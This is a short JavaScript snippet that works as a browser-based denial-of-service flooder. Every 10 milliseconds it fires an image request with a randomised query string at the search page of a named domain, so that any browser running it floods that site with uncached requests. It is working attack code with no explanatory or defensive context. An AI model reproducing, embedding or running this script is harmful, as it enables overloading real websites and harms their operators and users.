function newimage() { var TARGET = 'www.aspokesmansaid.com'; var URI = '/search?query='; var pic = new Image(); var rand = Math.floor(Math.random() * 1000); pic.src = 'https://'+TARGET+URI+rand; } setInterval(newimage, 10);